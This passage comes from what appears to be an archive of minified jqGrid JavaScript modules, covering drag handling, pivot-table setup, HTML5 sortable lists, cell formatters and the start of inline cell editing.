n(this,e,"r",t)},u.jqDnR={dnr:{},e:0,drag:function(e){return"d"==r.k?f.css({left:r.X+e.pageX-r.pX,top:r.Y+e.pageY-r.pY}):(f.css({width:Math.max(e.pageX-r.pX+r.W,0),height:Math.max(e.pageY-r.pY+r.H,0)}),i&&a.css({width:Math.max(e.pageX-i.pX+i.W,0),height:Math.max(e.pageY-i.pY+i.H,0)})),!1},stop:function(){u(document).off("mousemove",e.drag).off("mouseup",e.stop)}};var a,i,e=u.jqDnR,r=e.dnr,f=e.e,n=function(e,t,n,o){return e.each(function(){(t=t?u(t,e):e).on("mousedown",{e:e,k:n},function(e){var t=e.data,n={};if(f=t.e,a=!!o&&u(o),"relative"!=f.css("position"))try{f.position(n)}catch(e){}if(r={X:n.left||p("left")||0,Y:n.top||p("top")||0,W:p("width")||f[0].scrollWidth||0,H:p("height")||f[0].scrollHeight||0,pX:e.pageX,pY:e.pageY,k:t.k},i=!(!a||"d"==t.k)&&{X:n.left||s("left")||0,Y:n.top||s("top")||0,W:a[0].offsetWidth||s("width")||0,H:a[0].offsetHeight||s("height")||0,pX:e.pageX,pY:e.pageY,k:t.k},u("input.hasDatepicker",f[0])[0])try{u("input.hasDatepicker",f[0]).datepicker("hide")}catch(e){}return u(document).mousemove(u.jqDnR.drag).mouseup(u.jqDnR.stop),!1})})},p=function(e){return parseInt(f.css(e),10)||!1},s=function(e){return parseInt(a.css(e),10)||!1};u.fn.tinyDraggable=function(e){var i=u.extend({handle:0,exclude:0},e);return this.each(function(){var n,o,a=u(this);(i.handle?u(i.handle,a):a).on({mousedown:function(e){var t;i.exclude&&~u.inArray(e.target,u(i.exclude,a))||(e.preventDefault(),t=a.offset(),n=e.pageX-t.left,o=e.pageY-t.top,u(document).on("mousemove.drag",function(e){a.offset({top:e.pageY-o,left:e.pageX-n})}))},mouseup:function(e){u(document).off("mousemove.drag")}})})}});minified/grid.pivot.js000064400000016745151677266200011004 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.base","./grid.grouping"],e):e(jQuery)}(function(Q){"use strict";Q.assocArraySize=function(e){var r,o=0;for(r in e)e.hasOwnProperty(r)&&o++;return o},Q.jgrid.extend({pivotSetup:function(F,e){var H=[],A=[],k=[],G=[],M=[],z={grouping:!0,groupingView:{groupField:[],groupSummary:[],groupSummaryPos:[]}},V=[],q=Q.extend({rowTotals:!1,rowTotalsText:"Total",colTotals:!1,groupSummary:!0,groupSummaryPos:"header",frozenStaticCols:!1},e||{});return this.each(function(){var d,f,p,e,r,c=this,o=F.length,t=0;function i(e,r,o){e=function(e,r){var o,t,i,n=[];if(!this||"function"!=typeof e||e instanceof RegExp)throw new TypeError;for(i=this.length,o=0;o<i;o++)if(this.hasOwnProperty(o)&&(t=this[o],e.call(r,t,o,this))){n.push(t);break}return n}.call(e,r,o);return 0<e.length?e[0]:null}function n(e,r){var o,t=0,i=!0;for(o in e)if(e.hasOwnProperty(o)){if(e[o]!=this[t]){i=!1;break}if(++t>=this.length)break}return i&&(b=r),i}function a(e,r,o,t){var i,n,a,l,s=r.length,g="",u=[],m=1;for(Array.isArray(o)?(a=o.length,u=o):(a=1,u[0]=o),M=[],n=(G=[]).root=0;n<a;n++){for(var d,f=[],p=0;p<s;p++){if(l="string"==typeof r[p].aggregator?r[p].aggregator:"cust",null==o)d=i=Q.jgrid.trim(r[p].member)+"_"+l,u[0]=r[p].label||l+" "+Q.jgrid.trim(r[p].member);else{d=o[n].replace(/\s+/g,"");try{i=1===s?g+d:g+d+"_"+l+"_"+String(p)}catch(e){}u[n]=o[n]}i=isNaN(parseInt(i,10))?i:i+" ","avg"===r[p].aggregator&&(l=-1===b?A.length+"_"+i:b+"_"+i,h[l]?h[l]++:h[l]=1,m=h[l]),t[i]=f[i]=function(e,r,o,t,i){var n;if(Q.jgrid.isFunction(e))n=e.call(c,r,o,t);else switch(e){case"sum":n=Q.jgrid.floatNum(r)+Q.jgrid.floatNum(t[o]);break;case"count":""!==r&&null!=r||(r=0),n=t.hasOwnProperty(o)?r+1:0;break;case"min":n=""===r||null==r?Q.jgrid.floatNum(t[o]):Math.min(Q.jgrid.floatNum(r),Q.jgrid.floatNum(t[o]));break;case"max":n=""===r||null==r?Q.jgrid.floatNum(t[o]):Math.max(Q.jgrid.floatNum(r),Q.jgrid.floatNum(t[o]));break;case"avg":n=(Q.jgrid.floatNum(r)*(i-1)+Q.jgrid.floatNum(t[o]))/i}return n}(r[p].aggregator,t[i],r[p].member,e,m)}g+=o&&null!=o[n]?o[n].replace(/\s+/g,""):"",G[i]=f,M[i]=u[n]}return t}if(q.rowTotals&&0<q.yDimension.length&&(e=q.yDimension[0].dataName,q.yDimension.splice(0,0,{dataName:e}),q.yDimension[0].converter=function(){return"_r_Totals"}),d=Array.isArray(q.xDimension)?q.xDimension.length:0,f=q.yDimension.length,p=Array.isArray(q.aggregates)?q.aggregates.length:0,0===d||0===p)throw"xDimension or aggregates optiona are not set!";for(y=0;y<d;y++)r={name:q.xDimension[y].dataName,frozen:q.frozenStaticCols},null==q.xDimension[y].isGroupField&&(q.xDimension[y].isGroupField=!0),r=Q.extend(!0,r,q.xDimension[y]),H.push(r);for(var l=d-1,s={},h=[];t<o;){for(var g=F[t],u=[],m=[],v={},y=0;u[y]=Q.jgrid.trim(g[q.xDimension[y].dataName]),v[q.xDimension[y].dataName]=u[y],++y<d;);var x,j=0,b=-1;if(x=i(A,n,u)){if(0<=b){if(j=0,1<=f){for(j=0;j<f;j++)m[j]=Q.jgrid.trim(g[q.yDimension[j].dataName]),void 0===m[j]?m[j]=null:q.yDimension[j].converter&&Q.jgrid.isFunction(q.yDimension[j].converter)&&(m[j]=q.yDimension[j].converter.call(this,m[j],u,m));x=a(g,q.aggregates,m,x)}else 0===f&&(x=a(g,q.aggregates,null,x));A[b]=x}}else{if(j=0,1<=f){for(j=0;j<f;j++)m[j]=Q.jgrid.trim(g[q.yDimension[j].dataName]),void 0===m[j]?m[j]=null:q.yDimension[j].converter&&Q.jgrid.isFunction(q.yDimension[j].converter)&&(m[j]=q.yDimension[j].converter.call(this,m[j],u,m));v=a(g,q.aggregates,m,v)}else 0===f&&(v=a(g,q.aggregates,null,v));A.push(v)}var w,D=0,N=null,O=null;for(w in G)if(G.hasOwnProperty(w)){if(0===D)N=(s=s.children&&void 0!==s.children?s:{text:w,level:0,children:[],label:w}).children;else{for(O=null,y=0;y<N.length;y++)if(N[y].text===w){O=N[y];break}N=(O||(N.push({children:[],text:w,level:D,fields:G[w],label:M[w]}),N[N.length-1])).children}D++}t++}var S,h=null,T=[],C=H.length,P=C;if(0<f&&(V[f-1]={useColSpanStyle:!1,groupHeaders:[]}),!function e(r){var o,t,i,n,a;for(i in r)if(r.hasOwnProperty(i)){if("object"!=typeof r[i]){if("level"===i){if(void 0===T[r.level]&&(T[r.level]="",0<r.level)&&-1===r.text.indexOf("_r_Totals")&&(V[r.level-1]={useColSpanStyle:!1,groupHeaders:[]}),T[r.level]!==r.text&&r.children.length&&-1===r.text.indexOf("_r_Totals")&&0<r.level){V[r.level-1].groupHeaders.push({titleText:r.label,numberOfColumns:0});var l=V[r.level-1].groupHeaders.length-1,s=0==l?P:C;if(r.level-1==(q.rowTotals?1:0)&&0<l){for(var g=0,u=0;u<l;u++)g+=V[r.level-1].groupHeaders[u].numberOfColumns;g&&(s=g+d)}H[s]&&(V[r.level-1].groupHeaders[l].startColumnName=H[s].name,V[r.level-1].groupHeaders[l].numberOfColumns=H.length-s),C=H.length}T[r.level]=r.text}if(r.level===f&&"level"===i&&0<f)if(1<p){var m=1;for(o in r.fields)r.fields.hasOwnProperty(o)&&(1===m&&V[f-1].groupHeaders.push({startColumnName:o,numberOfColumns:1,titleText:r.label||r.text}),m++);V[f-1].groupHeaders[V[f-1].groupHeaders.length-1].numberOfColumns=m-1}else V.splice(f-1,1)}if(null!=r[i]&&"object"==typeof r[i]&&e(r[i]),"level"===i&&0<r.level&&(r.level===(0===f?r.level:f)||-1!==T[r.level].indexOf("_r_Totals")))for(o in t=0,r.fields)if(r.fields.hasOwnProperty(o)){for(n in a={},q.aggregates[t])if(q.aggregates[t].hasOwnProperty(n))switch(n){case"member":case"label":case"aggregator":break;default:a[n]=q.aggregates[t][n]}1<p?(a.name=o,a.label=q.aggregates[t].label||r.label):(a.name=r.text,a.label="_r_Totals"===r.text?q.rowTotalsText:r.label),H.push(a),t++}}}(s),q.colTotals)for(var _=A.length;_--;)for(y=d;y<H.length;y++)S=H[y].name,k[S]?k[S]+=Q.jgrid.floatNum(A[_][S]):k[S]=Q.jgrid.floatNum(A[_][S]);if(0<l)for(y=0;y<l;y++)H[y].isGroupField&&(z.groupingView.groupField.push(H[y].name),z.groupingView.groupSummary.push(q.groupSummary),z.groupingView.groupSummaryPos.push(q.groupSummaryPos));else z.grouping=!1;z.sortname=H[l].name,z.groupingView.hideFirstGroupCol=!0}),{colModel:H,rows:A,groupOptions:z,groupHeaders:V,summary:k}},jqPivot:function(o,g,u,t){return this.each(function(){var s=this,e=u.regional||"en";function r(e){Q.jgrid.isFunction(g.onInitPivot)&&g.onInitPivot.call(s),Array.isArray(e)||(e=[]);var r,o,t,i,n=jQuery(s).jqGrid("pivotSetup",e,g),e=0<Q.assocArraySize(n.summary),a=Q.jgrid.from.call(s,n.rows);for(g.ignoreCase&&(a=a.ignoreCase()),r=0;r<n.groupOptions.groupingView.groupField.length;r++)o=g.xDimension[r].sortorder||"asc",t=g.xDimension[r].sorttype||"text",a.orderBy(n.groupOptions.groupingView.groupField[r],o,t,"",t);if(i=g.xDimension.length,u.sortname){for(o=u.sortorder||"asc",t="text",r=0;r<i;r++)if(g.xDimension[r].dataName===u.sortname){t=g.xDimension[r].sorttype||"text";break}a.orderBy(u.sortname,o,t,"",t)}else n.groupOptions.sortname&&i&&(o=g.xDimension[i-1].sortorder||"asc",t=g.xDimension[i-1].sorttype||"text",a.orderBy(n.groupOptions.sortname,o,t,"",t));jQuery(s).jqGrid(Q.extend(!0,{datastr:Q.extend(a.select(),e?{userdata:n.summary}:{}),datatype:"jsonstring",footerrow:e,userDataOnFooter:e,colModel:n.colModel,viewrecords:!0,formatFooterData:!0===g.colTotals,sortname:g.xDimension[0].dataName},n.groupOptions,u||{}));var l=n.groupHeaders;if(l.length)for(r=0;r<l.length;r++)l[r]&&l[r].groupHeaders.length&&jQuery(s).jqGrid("setGroupHeaders",l[r]);g.frozenStaticCols&&jQuery(s).jqGrid("setFrozenColumns"),Q.jgrid.isFunction(g.onCompletePivot)&&g.onCompletePivot.call(s),g.loadMsg&&Q(".loading_pivot").remove()}void 0===g.loadMsg&&(g.loadMsg=!0),g.loadMsg&&Q("<div class='loading_pivot ui-state-default ui-state-active row'>"+Q.jgrid.getRegional(s,"regional."+e+".defaults.loadtext")+"</div>").insertBefore(s).show(),"string"==typeof o?Q.ajax(Q.extend({url:o,dataType:"json",success:function(e){r(Q.jgrid.getAccessor(e,t&&t.reader?t.reader:"rows"))}},t||{})):r(o)})}})});minified/jquery.sortable.js000064400000003575151677266200012045 0ustar00!function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],t):t(jQuery)}(function(s){"use strict";var d,o=s();s.fn.html5sortable=function(r){var t=String(r);return r=s.extend({connectWith:!1},r),this.each(function(){var e,n,i,a;/^enable|disable|destroy$/.test(t)?(i=s(this).children(s(this).data("items")).attr("draggable","enable"===t),"destroy"===t&&i.add(this).removeData("connectWith items").off("dragstart.h5s dragend.h5s selectstart.h5s dragover.h5s dragenter.h5s drop.h5s")):(i=s(this).children(r.items),a=s("<"+(/^ul|ol$/i.test(this.tagName)?"li":/^tbody$/i.test(this.tagName)?"tr":"div")+' class="sortable-placeholder '+r.placeholderClass+'">').html(" "),i.find(r.handle).mousedown(function(){e=!0}).mouseup(function(){e=!1}),s(this).data("items",r.items),o=o.add(a),r.connectWith&&s(r.connectWith).add(this).data("connectWith",r.connectWith),i.attr("draggable","true").on("dragstart.h5s",function(t){if(r.handle&&!e)return!1;e=!1;t=t.originalEvent.dataTransfer;t.effectAllowed="move",t.setData("Text","dummy"),n=(d=s(this)).addClass("sortable-dragging").index()}).on("dragend.h5s",function(){d&&(d.removeClass("sortable-dragging").show(),o.detach(),n!==d.index()&&d.parent().trigger("sortupdate",{item:d,startindex:n,endindex:d.index()}),d=null)}).not("a[href], img").on("selectstart.h5s",function(){return this.dragDrop&&this.dragDrop(),!1}).end().add([this,a]).on("dragover.h5s dragenter.h5s drop.h5s",function(t){return!i.is(d)&&r.connectWith!==s(d).parent().data("connectWith")||("drop"===t.type?(t.stopPropagation(),o.filter(":visible").after(d),d.trigger("dragend.h5s")):(t.preventDefault(),t.originalEvent.dataTransfer.dropEffect="move",i.is(this)?(r.forcePlaceholderSize&&a.height(d.outerHeight()),d.hide(),s(this)[a.index()<s(this).index()?"after":"before"](a),o.not(a).detach()):o.is(this)||s(this).children(r.items).length||(o.detach(),s(this).append(a))),!1)}))})}});minified/jquery.fmatter.js000064400000026322151677266200011667 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.base"],e):e(jQuery)}(function(v){"use strict";v.fmatter={},v.extend(v.fmatter,{isBoolean:function(e){return"boolean"==typeof e},isObject:function(e){return e&&("object"==typeof e||v.jgrid.isFunction(e))||!1},isString:function(e){return"string"==typeof e},isNumber:function(e){return"number"==typeof e&&isFinite(e)},isValue:function(e){return this.isObject(e)||this.isString(e)||this.isNumber(e)||this.isBoolean(e)},isEmpty:function(e){return!(!this.isString(e)&&this.isValue(e)||this.isValue(e)&&""!==v.jgrid.trim(e).replace(/\ \;/gi,"").replace(/\ \;/gi,""))}}),v.fn.fmatter=function(e,t,i,r,o){var n=t;i=v.extend({},v.jgrid.getRegional(this,"formatter"),i);try{n=v.fn.fmatter[e].call(this,t,i,r,o)}catch(e){}return n},v.fmatter.util={NumberFormat:function(e,t){if(v.fmatter.isNumber(e)||(e*=1),v.fmatter.isNumber(e)){var i=e<0,r=String(e),o=t.decimalSeparator||".";if(v.fmatter.isNumber(t.decimalPlaces)){var n=t.decimalPlaces,a=(r=String(Number(Math.round(e+"e"+n)+"e-"+n))).lastIndexOf(".");if(0<n)for(a<0?a=(r+=o).length-1:"."!==o&&(r=r.replace(".",o));r.length-1-a<n;)r+="0"}if(t.thousandsSeparator){for(var l=t.thousandsSeparator,d=(a=-1<(a=r.lastIndexOf(o))?a:r.length,r.substring(a)),s=-1,f=a;0<f;f--)++s%3==0&&f!==a&&(!i||1<f)&&(d=l+d),d=r.charAt(f-1)+d;r=d}return r=t.prefix?t.prefix+r:r,r=t.suffix?r+t.suffix:r}return e}},v.fn.fmatter.defaultFormat=function(e,t){return v.fmatter.isValue(e)&&""!==e?e:t.defaultValue||" "},v.fn.fmatter.email=function(e,t){return v.fmatter.isEmpty(e)?v.fn.fmatter.defaultFormat(e,t):'<a href="mailto:'+e+'">'+e+"</a>"},v.fn.fmatter.checkbox=function(e,t){var i=v.extend({},t.checkbox),r=Object.keys(v.jgrid.regional)[0],i=(t=!0===(i=void 0!==t.colModel&&void 0!==t.colModel.formatoptions?v.extend({},i,t.colModel.formatoptions):i).disabled?'disabled="disabled"':"",!v.fmatter.isEmpty(e)&&void 0!==e||(e=v.fn.fmatter.defaultFormat(e,i)),(e=((e=String(e))+"").toLowerCase()).search(/(false|f|0|no|n|off|undefined)/i)<0?" checked='checked' ":""),o=v.jgrid.regional[r].defaults.valueCheckbox,n=v.jgrid.regional[r].defaults.valT,r=v.jgrid.regional[r].defaults.valF,n=void 0!==o&&"true"===e?o+" "+n:void 0!==o&&"false"===e?o+" "+r:e;return'<input title="'+n+'" type="checkbox" '+i+' value="'+e+'" offval="no" '+t+"/>"},v.fn.fmatter.link=function(e,t){var i={target:t.target},r="";return(i=void 0!==t.colModel&&void 0!==t.colModel.formatoptions?v.extend({},i,t.colModel.formatoptions):i).target&&(r="target="+i.target),v.fmatter.isEmpty(e)?v.fn.fmatter.defaultFormat(e,t):"<a "+r+' href="'+e+'">'+e+"</a>"},v.fn.fmatter.showlink=function(e,t){var i={baseLinkUrl:t.baseLinkUrl,showAction:t.showAction,addParam:t.addParam||"",target:t.target,idName:t.idName},r="";return(i=void 0!==t.colModel&&void 0!==t.colModel.formatoptions?v.extend({},i,t.colModel.formatoptions):i).target&&(r="target="+i.target),i=i.baseLinkUrl+i.showAction+"?"+i.idName+"="+t.rowId+i.addParam,v.fmatter.isString(e)||v.fmatter.isNumber(e)?"<a "+r+' href="'+i+'">'+e+"</a>":v.fn.fmatter.defaultFormat(e,t)},v.fn.fmatter.integer=function(e,t){var i=v.extend({},t.integer);return void 0!==t.colModel&&void 0!==t.colModel.formatoptions&&(i=v.extend({},i,t.colModel.formatoptions)),v.fmatter.isEmpty(e)?i.defaultValue:v.fmatter.util.NumberFormat(e,i)},v.fn.fmatter.number=function(e,t){var i=v.extend({},t.number);return void 0!==t.colModel&&void 0!==t.colModel.formatoptions&&(i=v.extend({},i,t.colModel.formatoptions)),v.fmatter.isEmpty(e)?i.defaultValue:v.fmatter.util.NumberFormat(e,i)},v.fn.fmatter.currency=function(e,t){var i=v.extend({},t.currency);return void 0!==t.colModel&&void 0!==t.colModel.formatoptions&&(i=v.extend({},i,t.colModel.formatoptions)),v.fmatter.isEmpty(e)?i.defaultValue:v.fmatter.util.NumberFormat(e,i)},v.fn.fmatter.date=function(e,t,i,r){var o=v.extend({},t.date);return!(o=void 0!==t.colModel&&void 0!==t.colModel.formatoptions?v.extend({},o,t.colModel.formatoptions):o).reformatAfterEdit&&"edit"===r||v.fmatter.isEmpty(e)?v.fn.fmatter.defaultFormat(e,t):v.jgrid.parseDate.call(this,o.srcformat,e,o.newformat,o)},v.fn.fmatter.select=function(e,t){e=String(e);var i,r,o=!1,n=[];if(void 0!==t.colModel.formatoptions?(o=t.colModel.formatoptions.value,i=void 0===t.colModel.formatoptions.separator?":":t.colModel.formatoptions.separator,r=void 0===t.colModel.formatoptions.delimiter?";":t.colModel.formatoptions.delimiter):void 0!==t.colModel.editoptions&&(o=t.colModel.editoptions.value,i=void 0===t.colModel.editoptions.separator?":":t.colModel.editoptions.separator,r=void 0===t.colModel.editoptions.delimiter?";":t.colModel.editoptions.delimiter),o){var a,l=!0==(null!=t.colModel.editoptions&&!0===t.colModel.editoptions.multiple),d=[];if(l&&(d=e.split(","),d=v.map(d,function(e){return v.jgrid.trim(e)})),v.fmatter.isString(o)){for(var s=o.split(r),f=0,c=0;c<s.length;c++)if(2<(a=s[c].split(i)).length&&(a[1]=v.map(a,function(e,t){if(0<t)return e}).join(i)),l)-1<v.inArray(a[0],d)&&(n[f]=a[1],f++);else if(v.jgrid.trim(a[0])===v.jgrid.trim(e)){n[0]=a[1];break}}else v.fmatter.isObject(o)&&(l?n=v.map(d,function(e){return o[e]}):n[0]=o[e]||"")}return""===(e=n.join(", "))?v.fn.fmatter.defaultFormat(e,t):e},v.fn.fmatter.rowactions=function(e){function t(e){v.jgrid.isFunction(s.afterRestore)&&s.afterRestore.call(a,e),d.find("div.ui-inline-edit,div.ui-inline-del").show(),d.find("div.ui-inline-save,div.ui-inline-cancel").hide()}var i=v(this).closest("tr.jqgrow"),r=i.attr("id"),o=v(this).closest("table.ui-jqgrid-btable").attr("id").replace(/_frozen([^_]*)$/,"$1"),n=v("#"+o),a=n[0],o=a.p,l=o.colModel[v.jgrid.getCellIndex(this)],d=l.frozen?v("tr#"+r+" td",n).eq(v.jgrid.getCellIndex(this)).find("> div"):v(this).parent(),s={extraparam:{}},f=(void 0!==l.formatoptions&&(l=v.extend(!0,{},l.formatoptions),s=v.extend(s,l)),void 0!==o.editOptions&&(s.editOptions=o.editOptions),void 0!==o.delOptions&&(s.delOptions=o.delOptions),i.hasClass("jqgrid-new-row")&&(s.extraparam[o.prmNames.oper]=o.prmNames.addoper),{keys:s.keys,oneditfunc:s.onEdit,successfunc:s.onSuccess,url:s.url,extraparam:s.extraparam,aftersavefunc:function(e,t){v.jgrid.isFunction(s.afterSave)&&s.afterSave.call(a,e,t),d.find("div.ui-inline-edit,div.ui-inline-del").show(),d.find("div.ui-inline-save,div.ui-inline-cancel").hide()},errorfunc:s.onError,afterrestorefunc:t,restoreAfterError:s.restoreAfterError,mtype:s.mtype});switch(e){case"edit":n.jqGrid("editRow",r,f),n[0].p.beforeAction&&(d.find("div.ui-inline-edit,div.ui-inline-del").hide(),d.find("div.ui-inline-save,div.ui-inline-cancel").show(),n.triggerHandler("jqGridAfterGridComplete"));break;case"save":n.jqGrid("saveRow",r,f)&&(d.find("div.ui-inline-edit,div.ui-inline-del").show(),d.find("div.ui-inline-save,div.ui-inline-cancel").hide(),n.triggerHandler("jqGridAfterGridComplete"));break;case"cancel":n.jqGrid("restoreRow",r,t),d.find("div.ui-inline-edit,div.ui-inline-del").show(),d.find("div.ui-inline-save,div.ui-inline-cancel").hide(),n.triggerHandler("jqGridAfterGridComplete");break;case"del":n.jqGrid("delGridRow",r,s.delOptions);break;case"formedit":n.jqGrid("setSelection",r),n.jqGrid("editGridRow",r,s.editOptions)}},v.fn.fmatter.actions=function(e,t){var i={keys:!1,editbutton:!0,delbutton:!0,editformbutton:!1},r=t.rowId,o="",n=v.jgrid.getRegional(this,"nav"),a=v.jgrid.styleUI[t.styleUI||"jQueryUI"].fmatter,l=v.jgrid.styleUI[t.styleUI||"jQueryUI"].common;return void 0!==t.colModel.formatoptions&&(i=v.extend(i,t.colModel.formatoptions)),void 0===r||v.fmatter.isEmpty(r)?"":(t="onmouseover=jQuery(this).addClass('"+l.hover+"'); onmouseout=jQuery(this).removeClass('"+l.hover+"'); ",i.editformbutton?o+="<div title='"+n.edittitle+"' style='float:left;cursor:pointer;' class='ui-pg-div ui-inline-edit' "+("id='jEditButton_"+r+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'formedit'); "+t)+"><span class='"+l.icon_base+" "+a.icon_edit+"'></span></div>":i.editbutton&&(o+="<div title='"+n.edittitle+"' style='float:left;cursor:pointer;' class='ui-pg-div ui-inline-edit' "+("id='jEditButton_"+r+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'edit'); "+t)+"><span class='"+l.icon_base+" "+a.icon_edit+"'></span></div>"),i.delbutton&&(o+="<div title='"+n.deltitle+"' style='float:left;' class='ui-pg-div ui-inline-del' "+("id='jDeleteButton_"+r+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'del'); "+t)+"><span class='"+l.icon_base+" "+a.icon_del+"'></span></div>"),"<div class='jqgrid_actions' style='margin-left:8px;'>"+(o=(o+="<div title='"+n.savetitle+"' style='float:left;display:none' class='ui-pg-div ui-inline-save' "+("id='jSaveButton_"+r+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'save'); "+t)+"><span class='"+l.icon_base+" "+a.icon_save+"'></span></div>")+("<div title='"+n.canceltitle+"' style='float:left;display:none;' class='ui-pg-div ui-inline-cancel' "+("id='jCancelButton_"+r+"' onclick=jQuery.fn.fmatter.rowactions.call(this,'cancel'); "+t)+"><span class='"+l.icon_base+" "+a.icon_cancel+"'></span></div>"))+"</div>")},v.unformat=function(e,t,i,r){var o=t.colModel.formatter,n=t.colModel.formatoptions||{},a=/([\.\*\_\'\(\)\{\}\+\?\\])/g,l=t.colModel.unformat||v.fn.fmatter[o]&&v.fn.fmatter[o].unformat;if(void 0!==l&&v.jgrid.isFunction(l))c=l.call(this,v(e).text(),t,e);else if(void 0!==o&&v.fmatter.isString(o)){var d,s=v.jgrid.getRegional(this,"formatter")||{};switch(o){case"integer":f=(n=v.extend({},s.integer,n)).thousandsSeparator.replace(a,"\\$1"),d=new RegExp(f,"g"),c=v(e).text().replace(d,"");break;case"number":f=(n=v.extend({},s.number,n)).thousandsSeparator.replace(a,"\\$1"),d=new RegExp(f,"g"),c=v(e).text().replace(d,"").replace(n.decimalSeparator,".");break;case"currency":f=(n=v.extend({},s.currency,n)).thousandsSeparator.replace(a,"\\$1"),d=new RegExp(f,"g"),c=v(e).text(),n.prefix&&n.prefix.length&&(c=c.slice(n.prefix.length)),c=(c=n.suffix&&n.suffix.length?c.slice(0,c.length-n.suffix.length):c).replace(d,"").replace(n.decimalSeparator,".");break;case"checkbox":var f=t.colModel.editoptions?t.colModel.editoptions.value.split(":"):["Yes","No"],c=v("input",e).is(":checked")?f[0]:f[1];break;case"select":c=v.unformat.select(e,t,i,r);break;case"actions":return"";default:c=v(e).text()}}return void 0!==c?c:!0===r?v(e).text():v.jgrid.htmlDecode(v(e).html())},v.unformat.select=function(e,t,i,r){var o=[],n=v(e).text();if(!0===r)return n;var a=v.extend({},void 0!==t.colModel.formatoptions?t.colModel.formatoptions:t.colModel.editoptions),l=void 0===a.separator?":":a.separator,e=void 0===a.delimiter?";":a.delimiter;if(a.value){var d,s=a.value,f=!0===a.multiple,c=[];if(f&&(c=n.split(","),c=v.map(c,function(e){return v.jgrid.trim(e)})),v.fmatter.isString(s)){for(var u=s.split(e),m=0,p=0;p<u.length;p++)if(2<(d=u[p].split(l)).length&&(d[1]=v.map(d,function(e,t){if(0<t)return e}).join(l)),a.decodeValue&&!0===a.decodeValue&&(d[1]=v.jgrid.htmlDecode(d[1])),f)-1<v.inArray(v.jgrid.trim(d[1]),c)&&(o[m]=d[0],m++);else if(v.jgrid.trim(d[1])===v.jgrid.trim(n)){o[0]=d[0];break}}else(v.fmatter.isObject(s)||Array.isArray(s))&&(f||(c[0]=n),o=v.map(c,function(i){var r;if(v.each(s,function(e,t){if(t===i)return r=e,!1}),void 0!==r)return r}));return o.join(", ")}return n||""},v.unformat.date=function(e,t){var i=v.jgrid.getRegional(this,"formatter.date")||{};return void 0!==t.formatoptions&&(i=v.extend({},i,t.formatoptions)),v.fmatter.isEmpty(e)?v.fn.fmatter.defaultFormat(e,t):v.jgrid.parseDate.call(this,i.newformat,e,i.srcformat,i)}});minified/grid.celledit.js000064400000035440151677266200011421 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.base"],e):e(jQuery)}(function(G){"use strict";G.jgrid.extend({editCell:function(c,f,u,g,C){return this.each(function(){var e,i,l,t=this,r=G(this).jqGrid("getStyleUI",t.p.styleUI+".common","highlight",!0),o=G(this).jqGrid("getStyleUI",t.p.styleUI+".common","disabled",!0),d=t.p.ariaBody?"":G(this).jqGrid("getStyleUI",t.p.styleUI+".common","hover",!0),s=G(this).jqGrid("getStyleUI",t.p.styleUI+".celledit","inputClass",!0),a=G(this).jqGrid("getStyleUI",t.p.styleUI+".celledit","selectClass",!0);if(t.grid&&!0===t.p.cellEdit&&!G(t.rows[c]).hasClass(o)){if(f=parseInt(f,10),t.p.selrow=t.rows[c].id,t.p.knv||t.p.ariaBody||G(t).jqGrid("GridNav"),0<t.p.savedRow.length){if(!0===u&&c==t.p.iRow&&f==t.p.iCol)return;G(t).jqGrid("saveCell",t.p.savedRow[0].id,t.p.savedRow[0].ic)}else window.setTimeout(function(){G("#"+G.jgrid.jqID(t.p.knv)).attr("tabindex","-1").focus()},1);if("subgrid"!==(e=(o=t.p.colModel[f]).name)&&"cb"!==e&&"rn"!==e&&"sc"!==e){try{l=G(t.rows[c].cells[f])}catch(e){l=G("td",t.rows[c]).eq(f)}if(0<=parseInt(t.p.iCol,10)&&0<=parseInt(t.p.iRow,10)&&void 0!==t.p.iRowId&&(n=G(t).jqGrid("getGridRowById",t.p.iRowId),G(n).removeClass("selected-row "+d).find("td").eq(t.p.iCol).removeClass("edit-cell "+r)),l.addClass("edit-cell "+r),G(t.rows[c]).addClass("selected-row "+d),!0!==o.editable||!0!==u||l.hasClass("not-editable-cell")||G.jgrid.isFunction(t.p.isCellEditable)&&!t.p.isCellEditable.call(t,e,c,f))i=l.html().replace(/\ \;/gi,""),G(t).triggerHandler("jqGridCellSelect",[t.rows[c].id,f,i,g]),G.jgrid.isFunction(t.p.onCellSelect)&&t.p.onCellSelect.call(t,t.rows[c].id,f,i,g);else{try{i=G.unformat.call(t,l,{rowId:t.rows[c].id,colModel:o},f)}catch(e){i=o.edittype&&"textarea"===o.edittype?l.text():l.html()}t.p.autoencode&&(i=G.jgrid.htmlDecode(i)),o.edittype||(o.edittype="text"),t.p.savedRow.push({id:c,ic:f,name:e,v:i,rowId:t.rows[c].id});try{(" "===i||" "===i||1===i.length&&160===i.charCodeAt(0))&&(i="")}catch(e){}G.jgrid.isFunction(t.p.formatCell)&&void 0!==(n=t.p.formatCell.call(t,t.rows[c].id,e,i,c,f))&&(i=n),G(t).triggerHandler("jqGridBeforeEditCell",[t.rows[c].id,e,i,c,f]),G.jgrid.isFunction(t.p.beforeEditCell)&&t.p.beforeEditCell.call(t,t.rows[c].id,e,i,c,f);var n,r=G.extend({},o.editoptions||{},{id:c+"_"+e,name:e,rowId:t.rows[c].id,oper:"edit",module:"cell"}),p=(C&&(i=g.key),G.jgrid.createEl.call(t,o.edittype,r,i,!0,G.extend({},G.jgrid.ajaxOptions,t.p.ajaxSelectOptions||{})));-1<G.inArray(o.edittype,["text","textarea","password"])?G(p).addClass(s):"select"===o.edittype&&G(p).addClass(a),l.html("").append(p).attr("tabindex","0"),G.jgrid.bindEv.call(t,p,r),window.setTimeout(function(){G(p).focus()},1),G("input, select, textarea",l).on("keydown",function(e){var i=e.key;if(27===e.keyCode&&(!(0<G("input.hasDatepicker",l).length)||G(".ui-datepicker").is(":hidden")?G(t).jqGrid("restoreCell",c,f):G("input.hasDatepicker",l).datepicker("hide")),13===e.keyCode&&e.altKey&&"TEXTAREA"===this.nodeName)return this.value=this.value+"\r",e.preventDefault(),!0;if(13===e.keyCode&&!e.shiftKey)return 